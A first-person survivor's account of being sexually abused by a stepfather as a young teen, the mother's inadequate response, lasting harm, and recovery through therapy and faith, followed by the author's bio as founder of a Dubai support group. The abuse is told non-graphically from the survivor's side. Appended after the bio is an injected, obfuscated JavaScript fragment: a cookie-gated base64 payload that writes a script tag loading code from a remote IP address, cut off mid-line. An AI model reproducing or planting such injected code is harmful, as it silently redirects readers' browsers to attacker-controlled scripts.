Sue’s Story

I remember him making lewd remarks that felt wrong, even when I was in primary school. But it was only after I started at junior high that my stepfather started coming into my bedroom. I was thirteen.

His opportunities to sexually molest me came after my two brothers and I were in bed while my mom took her nightly, leisurely bath. Though the boys shared, I had my own room.

A few months after my stepfather’s first visit, I tried to let my mom know what was going on, admittedly, in a timid way: “Please try not to take so long in the bath mommy, because Les (my stepdad) is coming into my room.” Unfortunately, my request went right over her head. And she didn’t question me further. The long baths continued. So did Les’ sorties to my room.

As you can imagine, the idea of going to bed at night filled me with dread. I never knew if Les would be slipping in beside me. Knowing my two brothers slept in the next room and my mom could walk in at any time, the fear and shame I felt was overwhelming. Even though I told him quietly time and again “this is not right,” he just carried on. His standard reply was “it’s our secret.” As if that made it alright!

I will never forget the smell of him. He smoked. Nor the fact that I believed in my heart – even at that young age – that I HAD TO allow him to do what he wanted because my mom didn’t work. Les provided for us, so if I made a scene chances were good that my mom, my one brother (Les’ stepson) and I would be out in the street.

At the time the abuse started, I started getting into trouble at school. Everyone thought the problem was me. Overnight I went from being a goody two-shoes – who loved nothing more than riding my bike, playing with our pets, reading and helping my mom in the kitchen – to being a surly, rebellious teen.

After my mom failed to rescue me from Les, I never tried approaching her again. But she was forced to face the situation years later. Les was trying to discipline me. But I screamed “don’t you dare touch me after what you’ve done to me”. My mom heard it all and asked me to explain. Afterwards she borrowed a book from the library about incest and told me in a very rational tone that it was common and even understandable in families like ours with step-parents.

It’s a pity she never expressed grief or sadness at the “wrongness” of what Les had done to me; or rage, or something! Because I started harbouring festering resentments in my heart towards my mom, which I only became aware of many years later. (Fuelled in my twenties by a theory I had; that my mom knew what was going on, but either went into denial or didn’t want to be with my stepfather sexually herself, so was happy for me to be there “in that way” for him.)

I know now that my mother’s response probably affected me as much as the actual abuse. I also know that it’s common for abuse survivors to take their rage out on others. It’s safer than being angry at the abuser!

As it turns out, I will never know my mom’s side of the story. After I had my daughter in my late twenties, I never visited my parents’ home. And, although my mom and I managed to forge a relationship of sorts, I never plucked up the courage to discuss what happened before she died last year in 2009.
In hindsight, I realise that there was no one and nowhere my mother could turn to for help. She was as much a victim of my stepfather as I was; just in a different way.

A small man, Les charmed the world, but was a tyrant at home. I was not shocked when I found out that he too was sexually abused; by an uncle when he was a boy.

Fortunately, about two years after the abuse started, our family relocated. The layout of the new house meant no more night visits from Les. Thank God!

But the damage to me had already been done. Outraged by what I had been forced to endure, and furious that no one had protected me from it, I became a complete rebel, rejecting the counsel of my mom, Les, or any other authority figures. I also figured that love lay in the arms of the opposite sex. Poor choices that in no time eroded what little self esteem I had, which later led me to try and drown the self-loathing I felt with alcohol.

In recent years, I have read many articles on how sexually abused children act out. Without professional intervention, we think the abuse is our fault. I certainly did, thinking something I did prompted Les to target me. At one stage I thought it may have been because I had showed him my ballet poses. But I know now I was not to blame. I was honestly an innocent child before the abuse happened. He is entirely responsible for what he chose to do to me.

Over-sexual behaviour and promiscuity is common among victims, because when sexual abuse happens to immature teens or children we aren’t emotionally ready. Consequently, the lines between sex and love become blurred. Also, abuse victims are extremely needy, desperate for unconditional love and acceptance.

Even now it saddens me to know that roughly 1 in 4 children (boys and girls) have been damaged by the same thing that happened to me.
I told my best friend once, after the abuse had stopped, about what my stepfather had done to me. A lovely girl from a safe family, she didn’t have a clue how to respond. So she just swept what I told her under the carpet. I never shared my secret with anyone else until after I met my first husband; who later turned out to be many good things . . . and a violent abuser! Before that, I just thought what difference would it make if I told? If I did, there was too much of a risk that my brothers and mother would get hurt.

I accepted Jesus Christ as my Saviour when I was thirty eight. By then divorced from my first husband, I had met a good man – who later became husband number two – who invited me to go with him to church where I got saved. He is a pillar to me and we have now been married for eight years.
Although I had been to psychologists on and off for years with some success, it was only after I gave my life to Jesus that the deep wounds inflicted in the past started to heal. And my problems were many, for example:

  • Inability to trust others, especially family
  • Difficulties with boundaries
  • Being a “pleaser” – particularly in relation to male authority figures
  • Difficulties forming personal relationships
  • Low self esteem
  • Problems with embracing emotional and physical intimacy
  • Addictions

All too often well meaning people would suggest (of my abuse) that I just let it go. But how could I? Whereas my abuser’s behaviour was being condoned (by my mom) or excused (by others), I was left to live the life he’d trashed.

As a victim, it would have helped me a lot if Les had been held accountable for his criminal behaviour. And as a believer, I am pleased that this view is backed up in the Bible. (See 1 Corinthians.)

Anyhow, with my mom now gone and my brothers living in another country, although I have forgiven Les, I know that now is the time to tell my story.

The incidence of sexual abuse of children and teenagers has reached epidemic proportions.

Statistics show that 1 in 3 girls and 1 in 6 boys will be raped or molested by the time they are eighteen. Statistics also show that abused boys tend to abuse and abused girls are more likely to accept abuse! So what will the future hold if this generation does not put a stop to the rot caused by this?

Every voice is needed if there is to be enough momentum to change the way society thinks about childhood sexual abuse. That’s why I am speaking out; hoping to turn the tide.

The founder of Wonderful Women, Sue hosts support group meetings for women survivors of childhood sexual abuse in Dubai. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘